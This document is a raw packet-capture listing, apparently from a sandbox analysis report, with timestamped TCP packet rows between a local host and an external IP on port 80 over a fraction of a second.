Sep 15, 2024 19:37:40.586519957 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586535931 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586551905 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586590052 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586597919 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586622953 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586632967 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586668015 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586677074 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586711884 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586720943 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586745977 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586755037 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586780071 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586788893 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586822987 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586832047 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586862087 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586880922 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586896896 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586901903 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586930990 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586965084 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.586968899 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.586992025 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587002993 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587016106 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587038994 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587042093 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587071896 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587079048 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587105989 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587130070 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587155104 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587157965 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587189913 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587198973 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587224007 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587227106 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587256908 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587266922 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587290049 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587305069 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587320089 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587338924 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587352991 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587366104 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587402105 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587433100 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587466002 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587476015 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587500095 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587507010 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587543964 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587543964 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587587118 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587599993 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587632895 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587651014 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587666035 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587678909 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587698936 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587708950 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587733030 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587757111 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587764978 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587769985 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587799072 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587805986 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587831974 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587840080 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587867975 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587878942 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587897062 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587912083 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587943077 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.587948084 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587981939 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.587990999 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588016987 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588038921 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588052034 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588068008 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588084936 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588099957 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588118076 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588126898 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588151932 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588161945 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588186026 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588202953 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588219881 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588226080 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588253021 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588263035 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588288069 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588298082 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588331938 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588458061 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588490963 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588501930 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588525057 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588534117 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588557959 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588567019 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588591099 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588603973 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588624954 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588655949 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588656902 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588670015 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588696957 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588706017 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588733912 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588737965 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588776112 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.588939905 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588972092 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.588987112 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589004993 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589016914 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589039087 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589047909 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589071989 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589083910 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589107037 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589113951 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589143991 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589149952 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589178085 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589185953 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589211941 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589220047 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589245081 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589255095 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589278936 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589287043 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589312077 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589320898 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589345932 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589354992 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589378119 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589395046 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589411974 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589425087 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589443922 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589452982 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589477062 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589485884 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589510918 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589519978 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589545965 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589553118 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589593887 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589802980 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589835882 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589848042 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589868069 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589881897 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589900970 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589910984 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589934111 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589942932 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.589967012 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.589977026 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590001106 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590008020 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590034962 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590042114 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590068102 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590076923 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590101004 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590106964 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590135098 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590143919 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590169907 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590178967 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590212107 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590368032 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590400934 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590411901 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590432882 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590442896 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590466976 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590477943 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590502024 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590511084 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590536118 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590543985 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590569019 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590575933 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590601921 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590610981 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590636969 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590667963 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590672016 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590672016 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590699911 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590709925 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590733051 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590742111 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590768099 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.590775967 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.590806007 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.638922930 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.643881083 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.811659098 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.811714888 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.811726093 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.811748981 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.811754942 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.811781883 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.811793089 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.811816931 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.811824083 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.811850071 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.811852932 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.811899900 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.811903000 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.811932087 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.811943054 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.811965942 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.811969042 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812007904 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812021017 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812055111 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812062979 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812088013 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812098026 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812120914 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812134027 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812160969 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812161922 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812206984 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812211990 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812243938 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812253952 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812277079 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812284946 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812311888 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812319040 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812349081 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812359095 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812382936 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812390089 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812428951 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812469006 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812500954 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812509060 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812534094 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812546968 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812572002 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812582970 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812606096 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812608004 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812638044 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812645912 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812680006 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812772989 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812804937 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812823057 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812835932 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812836885 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812871933 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812880039 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812905073 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812910080 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812937975 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812942982 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.812972069 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.812979937 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813004017 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813014030 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813041925 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813045025 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813075066 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813083887 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813107014 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813117027 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813148975 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813199997 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813222885 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813236952 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813255072 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813268900 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813286066 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813301086 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813309908 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813328981 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813334942 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813349009 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813370943 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813384056 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813409090 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813582897 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813597918 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813611984 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813618898 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813626051 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813640118 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813642025 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813657999 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813662052 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813671112 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813676119 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813678980 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813690901 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813702106 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813720942 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813736916 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813751936 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813766003 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813771963 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813781023 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813781977 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813793898 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813796997 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813812971 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813812971 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813827991 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813833952 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813843012 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813843966 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813860893 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.813863039 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813879967 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.813891888 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.814286947 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.814302921 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.814317942 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.814327002 CEST	49754	80	192.168.2.6	46.8.231.109
Sep 15, 2024 19:37:40.814332962 CEST	80	49754	46.8.231.109	192.168.2.6
Sep 15, 2024 19:37:40.814338923 CEST	49754	80	192.168.2.6	46.8.231.109
